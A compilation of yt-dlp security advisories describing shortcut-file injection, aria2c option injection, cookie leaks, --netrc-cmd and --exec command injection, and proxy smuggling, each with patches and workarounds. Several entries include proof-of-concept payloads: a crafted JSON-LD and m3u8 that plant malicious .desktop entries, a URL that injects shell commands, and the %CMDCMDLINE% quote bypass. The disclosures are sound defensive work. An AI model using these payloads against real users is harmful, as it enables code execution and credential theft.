Summary If the --write-link, --write-url-link or --write-desktop-link options are used with yt-dlp, it may produce output that can lead to downstream remote code execution. An attacker can craft a malicious metadata payload to achieve arbitrary command injection in the .url and .desktop shortcut files written by yt-dlp. This allows for malicious shell commands or malicious remote executables to run on the user's system if the user executes the generated .url or .desktop files.

Details The expected result of yt-dlp's --write-link, --write-url-link and --write-desktop-link options is to write a shortcut file that points to the webpage URL for the content downloaded by yt-dlp. The --write-url-link option writes a .url shortcut file for Windows, the --write-desktop-link option writes a .desktop shortcut file for Linux, and the --write-link option may write a .url file or a .desktop file depending on the user's platform.

There are two known scenarios where a remote attacker could serve a malicious metadata payload to exploit yt-dlp's improper validation/sanitization of its shortcut output and achieve arbitrary code execution if the user later opens these files.

Scenario 1: file:// URI injection in Windows .url shortcut

If a yt-dlp user passes the --write-link or --write-url-link option to generate a Windows .url file, the URL written to the shortcut file is sourced from the downloaded media's metadata--specifically, its webpageurl value. This value is commonly a normalized version of the input URL passed to yt-dlp by the user, but in some cases it may be extracted from untrusted web input. Validation of this webpageurl value is performed if it is fed back to yt-dlp as an input URL (e.g. via the --load-info-json option), but no validation is performed before it is output to a .url shortcut file.

This lack of validation is exploitable by a remote attacker who crafts a malicious metadata payload such that the resulting webpageurl value is a file:// URI. A malicious file URI could point to a remote executable, e.g. file://example.org/pwned.exe. If a Windows user double-clicks a .url file that points to this webpageurl, Windows will execute the malicious remote executable on the user's system.

Scenario 2: Shell command injection in Linux .desktop shortcut

The Linux .desktop file format is a more versatile than the Windows .url file format. It is defined by the freedesktop.org "desktop entry" file specification, and supports multiple types of shortcuts: a Link type for URLs, a Directory type for filesystem folders, and an Application type for programs or shell commands. yt-dlp outputs a desktop entry file of the Link type, using the template below:

desktop [Desktop Entry] Encoding=UTF-8 Name=%(filename)s Type=Link URL=%(url)s Icon=text-html

The keys under the [Desktop Entry] group are separated by newlines, and the type of desktop entry is set by the value paired to the Type key.

If a yt-dlp user passes the --write-link or --write-desktop-link option to generate a desktop entry file, in addition to the webpageurl value there is a filename value that is written to the shortcut file. By default, yt-dlp will sanitize the filename value: this sanitization includes replacing newlines with spaces and removing other control characters. However, the --no-windows-filenames option was modified in yt-dlp version 2024.12.23 to disable this default filename sanitization when used.

If the user passes --write-link or --write-desktop-link together with --no-windows-filenames to yt-dlp, an unsanitized filename value can be written to the resulting desktop entry file. A remote attacker can exploit this lack of sanitization by crafting a malicious metadata payload such that the resulting filename value contains newline characters, which can be used to inject arbitrary groups, keys and values into the desktop entry output. Doing so allows the attacker to change the Type of the desktop entry to Application and achieve shell command injection.

For example, an attacker-controlled website could serve a webpage with this maliciously crafted JSON-LD data:

html <html> <script type="application/ld+json">{ "@context": "https://schema.org", "@type": "VideoObject", "name":"Stream\nType=Application\nExec=sh -c &quot;touch /tmp/pwned&quot;\n\n[newgroup]\nName=endtitle", "contentUrl": "https://example.org/video.mp4" }</script> </html>

Then, a yt-dlp user could try to download the legitimate video content from the page by running the following command:

bash yt-dlp --write-desktop-link --no-windows-filenames "https://example.org/123"

Which would result in a desktop entry file containing a malicious shell command:

desktop [Desktop Entry] Encoding=UTF-8 Name=Stream Type=Application Exec=sh -c "touch /tmp/pwned"

[newgroup] Name=endtitle [123] Type=Link URL=%(url)s Icon=text-html

If a user on a Linux desktop environment executes the generated .desktop file, the malicious shell command would run on the user's system. (In the above example, a /tmp/pwned file would be created in the user's filesystem.)

Patches yt-dlp version 2026.07.04 fixes this issue by validating the URL scheme before any shortcut file is written, and by properly sanitizing all desktop entry values written to the .desktop file generated from using the --write-desktop-link or --write-link options. (Most notably: newline characters are replaced by their proper escape sequence per the freedesktop.org desktop entry specification.)

Workarounds It is recommended to upgrade yt-dlp to version 2026.07.04 as soon as possible.

Users who are not able to upgrade should avoid using any of the --write-link, --write-url-link or --write-desktop-link options.

Summary If aria2c is used as an external downloader for a fragmented manifest format (such as an HLS/DASH stream), yt-dlp passes insufficiently sanitized input to aria2c that allows an attacker to perform an arbitrary file write. On Windows platforms, this can lead to immediate arbitrary code execution. On non-Windows platforms, this can lead to arbitrary code execution upon the next invocation of yt-dlp.

Details When downloading a fragmented manifest format such as an HLS or DASH stream, yt-dlp first extracts a list of all fragment URLs from the stream's manifest. If the user has selected aria2c as an external downloader, yt-dlp then constructs an input file for aria2c from the fragment URL list and passes its filepath as the argument to aria2c's -i option.

aria2c's -i (or --input-file) option allows for downloading a list of URIs from the given text file. The text file must be formatted as a list of URIs separated by newlines. aria2c's format permits configuration lines for each URI, which can contain command-line options to be given to aria2c. These optional lines follow each URI line and are signified only by leading whitespace. yt-dlp constructs the input file with these optional lines so that it's able to specify the output filename for each fragment using the out= option.

yt-dlp's utilization of the aria2c input file format presents two known attack vectors:

1. An attacker can craft a malicious DASH manifest with one or more fragment URLs that contain &#10;, which is the HTML escape sequence for a newline. yt-dlp interprets this escape sequence as an actual newline character when writing the fragment URLs to the aria2c input file, which allows for an attacker to inject arbitrary aria2c options into the input file. With option injection, the attacker can achieve arbitrary file writes. This attack vector is possible only via downloads of DASH formats, since their manifests are an XML format which necessitates unescaping of HTML special characters.

2. An attacker can craft a malicious metadata response where the data parsed by yt-dlp as the title field (or any other metadata field that the user includes in their output template) contains strategically placed newlines and magnet URIs. If the user has passed the --no-windows-filename option to disable sanitization of newlines in output filenames, the attacker is able to achieve arbitrary file writes by injecting arbitrary URIs and options into the aria2c input file. This attack vector is possible via downloads of both HLS and DASH formats.

On Windows, attacker-controlled file writes can lead to immediate arbitrary code execution: the attacker could write a malicious executable file named ffmpeg.exe to the current working directory, and it could be invoked during the postprocessing stage if the user's yt-dlp.exe also resides in the current working directory.

On all platforms, attacker-controlled file writes can lead to arbitrary code execution on repeat invocations of yt-dlp: the attacker could write a yt-dlp configuration file (yt-dlp.conf) to the current working directory containing a malicious --exec argument.

Patches yt-dlp version 2026.06.09 fixes this issue by removing support for downloading fragmented manifest formats with aria2c.

Workarounds It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.

For users who are not able to upgrade:

- Add --downloader dash,m3u8:native to your yt-dlp command.

Summary A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as .desktop, .url, .webloc) to the user's filesystem, bypassing the remediation for CVE-2024-38519.

Details The fix for CVE-2024-38519 enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as .exe or .sh) during file downloads. However, this allowlist explicitly included the unsafe extensions .desktop, .url, and .webloc so that the functionality of the --write-link option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download.

Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an EXT-X-MEDIA:TYPE=SUBTITLES tag with a malicious URI (e.g., URI="http://attacker/x.desktop"), which would result in yt-dlp writing the attacker-controlled content to a file with a .desktop extension if the user had passed the --write-subs option.

Writing OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments.

While these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a "subtitles"/media file, leading to a phishing attack or arbitrary code execution.

Proof of Concept 1. Start a malicious server: Host a malicious master.m3u8 manifest that points to malicious subtitle payloads: m3u8 #EXTM3U #EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en" And host the payload.desktop file with malicious content: ini [Desktop Entry] Type=Application Exec=sh -c "touch /tmp/ytdlppwned$(id -u)" Name=Subtitle

2. Trigger the download: In this case, the generic extractor triggers the exploit if the --write-subs option is used: bash yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8"

Result: yt-dlp writes MyVideo.en.desktop to disk, containing the attacker payload.

Patches yt-dlp version 2026.06.09 fixes this issue by removing .url, .desktop and .webloc from the global file extension allowlist, and by only allowing those file types to be written from within the context of the --write-link options' functionality.

Workarounds It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.

Users who are not able to upgrade should do ALL of the following:

- Only pass fully trusted input URLs to yt-dlp - Do not use the --write-subs, --write-auto-subs, --embed-subs, --write-thumbnail, --write-all-thumbnails, or --embed-thumbnail options - Use --format - to interactively select download formats and validate their file extensions

Summary If curl is used an external downloader for yt-dlp, cookies may be leaked to an unintended host upon HTTP redirect or when the host for download fragments differs from their parent manifest's.

This is the equivalent to GHSA-v8mc-9377-rwjj for the curl downloader. The vulnerable behavior is present in yt-dlp released since 2023.09.24.

Details At the file download stage, the cookies are passed by yt-dlp to the file downloader via --cookie. However, unless these are loaded from a file, this operation does not activate the cookie engine. As a result, curl will send cookies with requests to domains or paths for which the cookies are not scoped.

An example of a potential attack scenario exploiting this vulnerability: 1. an attacker has crafted a malicious website with an embedded URL designed to be detected by yt-dlp as a video download. This embedded URL has the domain of a trusted site that the user has loaded cookies for, and conducts an unvalidated redirect to a target URL. 2. yt-dlp extracts this URL and calculates the cookies which are then passed to curl. 3. the download URL redirects to a server controlled by the attacker, to which curl forwards the user's sensitive cookie information.

Patches yt-dlp version 2026.06.09 fixes this issue by doing the following:

- Pass the cookies through stdin via --cookie - if curl is version 7.59 or higher. - Pass the cookies via --cookie /dev/fd/0 if the system supports this device file. - In all other cases create a temporary file, save the cookies and then pass via --cookie <file>.

Workarounds It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.

For users who are not able to upgrade:

- Do not use --downloader curl.

Summary When yt-dlp's --netrc-cmd command-line option (or netrccmd Python API parameter) is used, an attacker could achieve arbitrary command injection on the user's system with a maliciously crafted URL.

Impact yt-dlp maintainers assume the impact of this vulnerability to be high for anyone who uses --netrc-cmd in their command/configuration or netrccmd in their Python scripts. Even though the maliciously crafted URL itself will look very suspicious to many users, it would be trivial for a maliciously crafted webpage with an inconspicuous URL to covertly exploit this vulnerability via HTTP redirect. Users without --netrc-cmd in their arguments or netrccmd in their scripts are unaffected. No evidence has been found of this exploit being used in the wild.

Patches yt-dlp version 2026.02.21 fixes this issue by validating all netrc "machine" values and raising an error upon unexpected input.

Workarounds It is recommended to upgrade yt-dlp to version 2026.02.21 as soon as possible.

Users who are unable to upgrade should avoid using the --netrc-cmd command-line option (or netrccmd Python API parameter), or they should at least not pass a placeholder ({}) in their --netrc-cmd argument.

Details yt-dlp's --netrc-cmd option can be used to run any arbitrary shell command to retrieve site login credentials so that the user doesn't have to store the credentials as plaintext in the filesystem. The --netrc-cmd argument is a shell command with an optional placeholder ({}). If the placeholder is present in the argument, it is replaced with the netrc "machine" value, which specifies the site for which login credentials are needed.

The netrc "machine" value is usually explicitly defined in yt-dlp's extractor code for a given site. However, yt-dlp has four extractors where the netrc "machine" value needs to be dynamically sourced from the site's hostname. And in three of those extractors (GetCourseRuIE, TeachableIE and TeachableCourseIE), wildcard matches are allowed for one or more subdomains of the hostname. This can result in a netrc "machine" value that contains special shell characters.

The --netrc-cmd argument is executed by a modified version of Python's subprocess.Popen with shell=True, which means that any special characters may be interpreted by the host shell, potentially leading to arbitrary command injection.

Here is an example of maliciously crafted URL input that exploits the vulnerability:

cmd yt-dlp --netrc-cmd "echo {}" "https://;echo pwned>&2;#.getcourse.ru/video" [GetCourseRu] Executing command: echo getcourseru WARNING: [GetCourseRu] Failed to parse .netrc: bad toplevel token 'getcourseru' (-, line 2) [GetCourseRu] Extracting URL: https://;echo pwned>&2;#.getcourse.ru/video [GetCourseRu] Executing command: echo ;echo pwned>&2; pwned [GetCourseRu] No authenticators for ;echo pwned>&2; [GetCourseRu] video: Downloading webpage

Although only 3 of yt-dlp's extractors are directly susceptible to this attack, yt-dlp's "generic" extractor will follow HTTP redirects and try to match the resulting URL with one of the dedicated extractors. This means that any URL processed by the generic extractor could ultimately lead to a maliciously crafted URL that is matched by one of the vulnerable extractors. Hypothetically, an attacker could create a website with an inconspicuous URL and legitimate-looking media content that would serve an HTTP redirect to a maliciously crafted URL when it detects a request from yt-dlp.

References - https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-g3gw-q23r-pgqm - https://nvd.nist.gov/vuln/detail/CVE-2026-26331 - https://github.com/yt-dlp/yt-dlp/releases/tag/2026.02.21 - https://github.com/yt-dlp/yt-dlp/commit/1fbbe29b99dc61375bf6d786f824d9fcf6ea9c1a

yt-dlp is a feature-rich command-line audio/video downloader. In versions 2025.06.25 and below, when the --exec option is used on Windows with the default placeholder (or {}), insufficient sanitization is applied to the expanded filepath, allowing for remote code execution. This is a bypass of the mitigation for CVE-2024-22423 where the default placeholder and {} were not covered by the new escaping rules. Windows users who are unable to upgrade should avoid using --exec altogether. Instead, the --write-info-json or --dump-json options could be used, with an external script or command line consuming the JSON output. This is fixed in version 2025.07.21.

A command inject vulnerability allows an attacker to perform command injection on Windows applications that indirectly depend on the CreateProcess function when the specific conditions are satisfied.

Summary The patch that addressed CVE-2023-40581 attempted to prevent RCE when using --exec with %q by replacing double quotes with two double quotes. However, this escaping is not sufficient, and still allows expansion of environment variables.

Support for output template expansion in --exec, along with this vulnerable behavior, was added to yt-dlp in version 2021.04.11.

cmd yt-dlp "https://youtu.be/42xO6rVqf2E" --ignore-config -f 18 --exec "echo %(title)q" [youtube] Extracting URL: https://youtu.be/42xO6rVqf2E [youtube] 42xO6rVqf2E: Downloading webpage [youtube] 42xO6rVqf2E: Downloading ios player API JSON [youtube] 42xO6rVqf2E: Downloading android player API JSON [youtube] 42xO6rVqf2E: Downloading m3u8 information [info] 42xO6rVqf2E: Downloading 1 format(s): 18 [download] Destination: %CMDCMDLINE：~-1%&echo pwned&calc.exe [42xO6rVqf2E].mp4 [download] 100% of 126.16KiB in 00:00:00 at 2.46MiB/s [Exec] Executing command: echo "%CMDCMDLINE:~-1%&echo pwned&calc.exe" "" pwned

Patches yt-dlp version 2024.04.09 fixes this issue by properly escaping %. It replaces them with %%cd:~,%, a variable that expands to nothing, leaving only the leading percent.

Workarounds It is recommended to upgrade yt-dlp to version 2024.04.09 as soon as possible. Also, always be careful when using --exec, because while this specific vulnerability has been patched, using unvalidated input in shell commands is inherently dangerous.

For Windows users who are not able to upgrade: - Avoid using any output template expansion in --exec other than {} (filepath). - If expansion in --exec is needed, verify the fields you are using do not contain %, ", | or &. - Instead of using --exec, write the info json and load the fields from it instead.

Details When escaping variables, the following code is used for Windows. ytdlp/compat/init.py line 31-33 python def compatshlexquote(s): import re return s if re.match(r'^[-\w./]+$', s) else s.replace('"', '""').join('""') It replaces " with "" to balance out the quotes and keep quoting intact if non-allowed characters are included. However, the %CMDCMDLINE% variable can be used to generate a quote using %CMDCMDLINE:~-1%; since the value of %CMDCMDLINE% is the commandline with which cmd.exe was called, and it is always called with the command surrounded by quotes, %CMDCMDLINE:~-1% expands to ". After the quotes have been unbalanced, special characters are no longer quoted and commands can be executed: cmd %CMDCMDLINE:~-1%&calc.exe

References - https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-hjq6-52gw-2g7p - https://nvd.nist.gov/vuln/detail/CVE-2024-22423 - https://github.com/yt-dlp/yt-dlp/releases/tag/2024.04.09 - https://github.com/yt-dlp/yt-dlp/commit/ff07792676f404ffff6ee61b5638c9dc1a33a37a

Impact The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases.

<details>

To pass extra control data between extractors (such as headers like Referer), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This functionality is intended to be internal only.

Currently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a Referer header sent with it, for example.

Additionally, yt-dlp has internal headers to set a proxy for a request: Ytdl-request-proxy and Ytdl-socks-proxy. While these are deprecated, internally Ytdl-request-proxy is still used for --geo-verification-proxy.

However, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to set an arbitrary proxy for an arbitrary url that the Generic extractor will request.

This could allow for the following, but not limited too: - An attacker can MITM a request it asks yt-dlp to make to any website. - If a user has loaded cookies into yt-dlp for the target site, which are not marked as secure, they could be exfiltrated by the attacker. - Fortunately most sites are HTTPS and should be setting cookies as secure. - An attacker can set cookies for an arbitrary site.

An example malicious webpage: html <!DOCTYPE html> <cinerama.embedPlayer('t','{{ targetsite }}#youtubedlsmuggle=%7B%22httpheaders%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D')

Where {{ targetsite }} is the URL Generic extractor will request and {{ proxy url }} is the proxy to proxy the request for this url through.

</details>

Patches - We have removed the ability to smuggle httpheaders to the Generic extractor, as well as other extractors that use the same pattern.

Workarounds - Disable Generic extractor (--ies default,-generic), or only pass trusted sites with trusted content. - Take caution when using --no-check-certificate.

References - <https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x> - <https://nvd.nist.gov/vuln/detail/CVE-2023-46121> - <https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14> - <https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb>

Impact yt-dlp allows the user to provide shell commands to be executed at various stages in its download process through the --exec flag. This flag allows output template expansion in its argument, so that video metadata values may be used in the shell commands. The metadata fields can be combined with the %q conversion, which is intended to quote/escape these values so they can be safely passed to the shell.

However, the escaping used for cmd (the shell used by Python's subprocess on Windows) did not properly escape special characters, which can allow for remote code execution if --exec is used directly with maliciously crafted remote data. This vulnerability only impacts yt-dlp on Windows, and the vulnerability is present regardless of whether yt-dlp is run from cmd or from PowerShell.

Support for output template expansion in --exec, along with this vulnerable behavior, was added to yt-dlp in version 2021.04.11.

shell yt-dlp https://youtu.be/Jo66yyCpHcQ --exec "echo %(title)q" [youtube] Extracting URL: https://youtu.be/Jo66yyCpHcQ [youtube] Jo66yyCpHcQ: Downloading webpage [youtube] Jo66yyCpHcQ: Downloading ios player API JSON [youtube] Jo66yyCpHcQ: Downloading android player API JSON [youtube] Jo66yyCpHcQ: Downloading m3u8 information [info] Jo66yyCpHcQ: Downloading 1 format(s): 135+251 [download] Destination: ＂&echo(&echo(pwned&rem( [Jo66yyCpHcQ].f135.mp4 [download] 100% of 4.85KiB in 00:00:00 at 60.20KiB/s [download] Destination: ＂&echo(&echo(pwned&rem( [Jo66yyCpHcQ].f251.webm [download] 100% of 4.80KiB in 00:00:00 at 31.58KiB/s [Merger] Merging formats into "＂&echo(&echo(pwned&rem( [Jo66yyCpHcQ].mkv" Deleting original file ＂&echo(&echo(pwned&rem( [Jo66yyCpHcQ].f135.mp4 (pass -k to keep) Deleting original file ＂&echo(&echo(pwned&rem( [Jo66yyCpHcQ].f251.webm (pass -k to keep) [Exec] Executing command: echo "\"&echo(&echo(pwned&rem(" "\"

pwned

Patches yt-dlp version 2023.09.24 fixes this issue by properly escaping each special character. \n will be replaced by \r, as no way of escaping it has been found.

Workarounds It is recommended to upgrade yt-dlp to version 2023.09.24 as soon as possible. Also, always be careful when using --exec, because while this specific vulnerability has been patched, using unvalidated input in shell commands is inherently dangerous.

For Windows users who are not able to upgrade: - Avoid using any output template expansion in --exec other than {} (filepath). - If expansion in --exec is needed, verify the fields you are using do not contain ", | or &. - Instead of using --exec, write the info json and load the fields from it instead.

References - https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-42h4-v29r-42qg - https://nvd.nist.gov/vuln/detail/CVE-2023-40581 - https://github.com/yt-dlp/yt-dlp/releases/tag/2023.09.24 - https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2023.09.24.003044 - https://github.com/yt-dlp/yt-dlp/commit/de015e930747165dbb8fcd360f8775fd973b7d6e

Impact During file downloads, yt-dlp or the external downloaders that yt-dlp employs may leak cookies on HTTP redirects to a different host, or leak them when the host for download fragments differs from their parent manifest's host.

This vulnerable behavior is present in all versions of youtube-dl, youtube-dlc and yt-dlp released since 2015.01.25. All native and external downloaders are affected, except for curl and httpie (httpie version 3.1.0 or later).

At the file download stage, all cookies are passed by yt-dlp to the file downloader as a Cookie header, thereby losing their scope. This also occurs in yt-dlp's info JSON output, which may be used by external tools. As a result, the downloader or external tool may indiscriminately send cookies with requests to domains or paths for which the cookies are not scoped.

An example of a potential attack scenario exploiting this vulnerability: 1. an attacker has crafted a malicious website with an embedded URL designed to be detected by yt-dlp as a video download. This embedded URL has the domain of a trusted site that the user has loaded cookies for, and conducts an unvalidated redirect to a target URL. 2. yt-dlp extracts this URL and calculates a Cookie header based on its domain for the file downloader to make its request(s) with. 3. the download URL redirects to a server controlled by the attacker, to which yt-dlp forwards the user's sensitive cookie information.

Patches yt-dlp version 2023.07.06 fixes this issue by doing the following:

- Remove the Cookie header upon HTTP redirects - Have native downloaders calculate their own Cookie header from the cookiejar - Utilize external downloaders' built-in support for cookies instead of passing them as header arguments - If the external downloader does not have proper cookie support, then disable HTTP redirection (axel only) - Process cookies passed as HTTP headers to limit their scope (--add-header "Cookie:..." is scoped to input URL domain only) - Store cookies in a separate cookies field of the info dict instead of httpheaders so as not to lose their scope

Patches for youtube-dl are expected and we will update this advisory when they are merged.

Workarounds It is recommended to upgrade yt-dlp to version 2023.07.06 as soon as possible.

For users who are not able to upgrade:

- Avoid using cookies and user authentication methods (--cookies, --cookies-from-browser, --username, --password, --netrc). While extractors may set custom cookies, these usually do not contain sensitive information. - Avoid using --load-info-json

Or, if authentication is a must:

- Verify the integrity of download links from unknown sources in browser (including redirects) before passing them to yt-dlp - Use curl as external downloader, since it is not impacted (--downloader curl) - Avoid fragmented formats such as HLS/m3u8, DASH/mpd and ISM (use -f "(bv+ba/b)[protocol~='^https?$']")

References - https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-v8mc-9377-rwjj - https://nvd.nist.gov/vuln/detail/CVE-2023-35934 - https://github.com/yt-dlp/yt-dlp/releases/tag/2023.07.06 - https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2023.07.06.185519 - https://github.com/yt-dlp/yt-dlp/commit/1ceb657bdd254ad961489e5060f2ccc7d556b729 - https://github.com/yt-dlp/yt-dlp/commit/f8b4bcc0a791274223723488bfbfc23ea3276641 - https://github.com/yt-dlp/yt-dlp/commit/3121512228487c9c690d3d39bfd2579addf96e07